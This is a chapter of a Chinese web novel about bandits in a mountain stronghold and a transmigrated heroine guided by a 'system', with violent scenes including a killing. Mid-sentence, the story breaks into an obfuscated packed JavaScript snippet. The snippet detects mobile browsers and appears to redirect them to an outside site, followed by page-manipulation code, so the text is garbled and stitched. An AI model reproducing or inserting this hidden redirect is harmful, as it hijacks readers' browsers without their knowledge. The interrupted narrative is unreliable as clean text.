“哎哟!”胡建昌被这一口咬得疼得直咧嘴,指缝间瞬间渗出了血珠。
他下意识地猛地抽手,力道之大让那男人没稳住,后脑勺“咚”地磕在了地上,眼前顿时冒起了金星。
一直哭闹着要说法的男人媳妇,此刻倒像是被掐住了嗓子的鸡,突然不嚎了。
她先是呆呆地看着地上昏沉的男人,又飞快地瞥了眼满脸戾气的胡建昌,最终,还是没敢朝胡建昌讨一句公道,反而转过身,快步冲到还缩在一旁的女孩面前,伸手就揪住了女孩的衣领。
“都是你这个丧门星!要不是你非要跟来这土匪窝,你爹能出这种事吗?”女人的声音又尖又利,还带着没处撒的怨气。
话音刚落,她扬手就给了女孩一巴掌,“我打死你个小贱蹄子。”
“啪”的一声脆响,在喧闹的寨门口格外刺耳。
女孩单薄的身子踉跄着往后退了两步,嘴角瞬间渗出一丝血丝,眼泪像断了线的珠子似的往下掉,却不敢哭出声,只能咬着唇,肩膀不住地瑟缩。
这一巴掌像是一道惊雷,炸得胡建昌脑子“嗡”的一声,神智瞬间清明。
他低头看着自己还在流血的手,又扫过围观人群里那些或鄙夷、或戏谑、或躲闪的眼神,耳边仿佛还回荡着孟令仪那句“昌子哥原来喜欢男人”的话。
他刚才都做了什么?当众把一个有妇之夫按在地上强吻,还对人家又搂又抱,活像个没了理智的疯子。
巨大的耻辱感像潮水般席卷而来,瞬间淹没了胡建昌。
他活了二十多年,就算落草为寇,也从未这般当众出丑,如今倒成了弟兄们茶余饭后的笑柄,像只被人耍弄的猴子。
而这一切的“祸根”,不就是眼前这个咬了他、毁了他最后一点体面的男人?
胡建昌的眼神骤然变得阴鸷,胸口剧烈起伏着。
他猛地转头,正好看见虎子站在不远处,腰间的佩刀还挂在那里,几乎是凭着本能,胡建昌几步冲过去,眼疾手快地扯下佩刀,刀柄握在手里沉甸甸的,却让他心里那股邪火找到了宣泄的出口。
“你这个畜生,我要宰了你。”胡建昌嘶吼着,举着刀就朝地上还没缓过劲的男人扑过去,刀刃直对着男人的脑袋劈下,当场见了血。
男人的脑袋和胳膊分离,男人的媳妇吓得直接晕死过去。
胡建昌喘着粗气,心中的郁结稍稍散去,抬眸瞥见呆愣的女孩,还想冲过去给女孩也来一下子。
就在这时,远处传来一阵急促的脚步声,伴随着一个粗声粗气的嗓音:“寨门口吵什么呢,出什么事儿了?”
众人回头一看,只见彪哥带着杜老三和几个心腹弟兄快步走了过来,脸上满是不耐。
胡建昌看到彪哥,眼里的凶光褪去,“彪哥,刚才这男人试图非礼我,我给他来了个了断,他女人吓晕了,女儿还在那边。”
马德彪不甚在意的点点头,死了一个人这种小事儿不算什么:“行了,一点小事儿闹出这么大的动静,当务之急是粮食的事儿。”
“彪哥不是安排人下山去谢地主家要粮食了,怎么…”胡建昌道。
这也问出了孟令仪的不解。
马德彪往地上啐了一口,面色铁青道:“那老杂碎跑了,整个谢家空了,除了剩下的房子,人都跑没影儿了,粮食也没有。”
跑了?
那谢灵均怎么办?
和孟令仪担忧的不同,李金花对马德彪是实打实的心态,害怕缺粮让马德彪吃不好。
“胡建昌,你带几个人再去周边的几个村子看看,能不能把谢地主找出来;杜老三,你去把粮仓里发霉的粮食整理出来,把粮仓好好归置归置,不能让剩下的粮食跟着发霉。”
马德彪安排好后续的工作,系统再次上线。
【宿主系统来啦,这次系统带来的剧情点任务是改善发霉的粮仓,任务完成可以获得“修改剧情(一句话)”的能力,系统等宿主的好消息哦。】
“有没有搞错啊,系统,我大学学的不是农学专业呀。”孟令仪服了,最近几次系统不按常理出牌。
【宿主,该你上场表演了。】
孟令仪硬着头皮走上前,对马德彪恭敬笑道:“彪哥,能不能让我也跟着三哥去粮仓看看,或许能够帮上什么忙。”
上次酿酒的法子也是孟令仪提出来的,马德彪直觉这个女人有点小本事儿,思索道:“行,那你就跟着老三去吧。”
孟令仪点点头,快速跟上杜老三的步伐。
粮仓很大,孟令仪被吓了一跳,暗自咋舌这群土匪不知道搜挂了多少民脂民膏。
但好在一进粮仓,就能闻到一股子霉味。
孟令仪蹲下身捻起一粒霉玉米闻了闻,转头问杜老三:“你管粮这半年,是不是每次下雨都只堵粮仓门口,从没检查过墙角?”
杜老三梗着脖子:“堵好门口就够了,墙角关粮食屁事!”
这无知还拽的模样看的孟令仪脑仁疼。孟令仪没跟他争,只叫人搬来梯子,自己爬上去扒开粮仓墙角的干草,底下竟渗着一圈湿痕,墙缝里还积着雨水。
“系统啊系统,还好不是什么大难题。”孟令仪叹道,又让人拿来粗盐、石灰和晒干的艾草,当着所有人的面演示。
“玉米发霉是因为潮气闷在粮堆底,先在粮仓地面铺一层石灰吸潮,再把玉米和艾草分层堆,最后用粗盐混着草木灰抹墙缝,潮气进不来,粮食放仨月都不会坏。”
说着她又指了指杜老三之前堆粮的角落:“你把湿玉米和干玉米混着堆,还把粮仓通风口堵死,不发霉才怪。”
杜老三对着墙角踢了一脚,“妈的二愣子,以前粮仓他管理过一个月,肯定是他没弄好,害的老子差点儿又搞砸了一个差事,还好被杜建昌那狗崽子宰了,哼,要不然连着他和他老娘,老子一块宰了。”
“真是晦气。”
原来二愣子的娘是杜老三杀的。
孟令仪沉默了,一时之间不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280259|182523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道说些什么。
【恭喜宿主完成任务,获得“修改剧情(一句话)”的能力,请宿主注意查收。】
“系统,其实现在我感觉脑子很乱,不知道要做什么。”
系统没说话,孟令仪查收了修改剧情的能力。
杜老三倒是对孟令仪看起来热络了不少,经过这两次事他明白孟令仪和真的乡野丫头不一样。
“孟姑娘,可否借一步说话。”杜老三拱了拱手,孟令仪点点头。杜老三把孟令仪带到了粮仓后面的柴房里。
房门紧闭,里面只有孟令仪和杜老三二人。
“孟姑娘,我就直说了,我知道你想救下谢灵均,但是恐怕难。实话告诉你吧,虽然谢地主跑了,但是我手底下的人找到了一个二十年前在谢地主家干过活的老妇,那老妇说谢灵均不是谢地主的亲儿子。”
居然真的不是谢地主的亲生儿子。
这个消息孟令仪有想过,是以并不很惊讶。不过谢灵均不是亲生的,谢地主又跑了,那马德彪被谢地主摆了替嫁一道,又没有办法通过谢灵均问谢地主要粮食的怒气,怎么撒?
恐怕只能杀了谢灵均泄愤。
这消息当真不算是好。
见孟令仪沉默不语,杜老三哈哈笑了,“孟姑娘莫着急,只要你肯帮我一个忙,我就帮你不让彪哥杀了谢灵均。”
“我能帮你什么?”孟令仪不解,狐疑道:“我在寨子里既没有声望,又没有可以依靠的人手,你怎么会有事拖我帮忙。”
“当然有。”杜老三肯定道:“难道孟姑娘不想让胡建昌死?”
杜老三音调突然拔高,眉毛倒数,活像来索命的恶鬼。
孟令仪忽然感觉有点冷,这一刻才真正明白,能当上土匪头子的都不是什么善良之辈。
“我知道你是因为胡建昌和你争夺马家寨二把手的位置,所以一直和他不对付,但他能和你争这个位置,就说明他在山寨里有一定的地位和能力。”孟令仪摇摇头:“我一个外来人,恐怕做不到,三哥高看我了。”
如果真的能顺利除掉胡建昌,当初和谢灵均就不会在快逃走的时候,再被胡建昌捉回来了。
“此言差矣。”杜老三不认同,“孟姑娘是聪明人,知道利用彪哥迷信的特点,借‘山神发怒’的理由保下谢灵均,就可以借‘山神发怒’的理由帮我除掉胡建昌。”
杜老三说的头头是道。孟令仪瞳孔紧缩,杜老三才真的是深藏不露。
倘若自己真的用‘山神发怒’的理由帮助杜老三除掉胡建昌,难保有一天杜老三不会利用同样的理由来除掉自己。
可是不答应杜老三的话,谢灵均的出路在哪里……
杜老三不急于一时,捋捋额角的头发:“我和胡建昌不对付五年了,在拖个几年我也等得起,就怕谢灵均那边等不起,孟姑娘你说我的人能找到以前在谢地主家做工的老妇,胡建昌那边会不会也能找到……”
杜老三这是在逼孟令仪答应。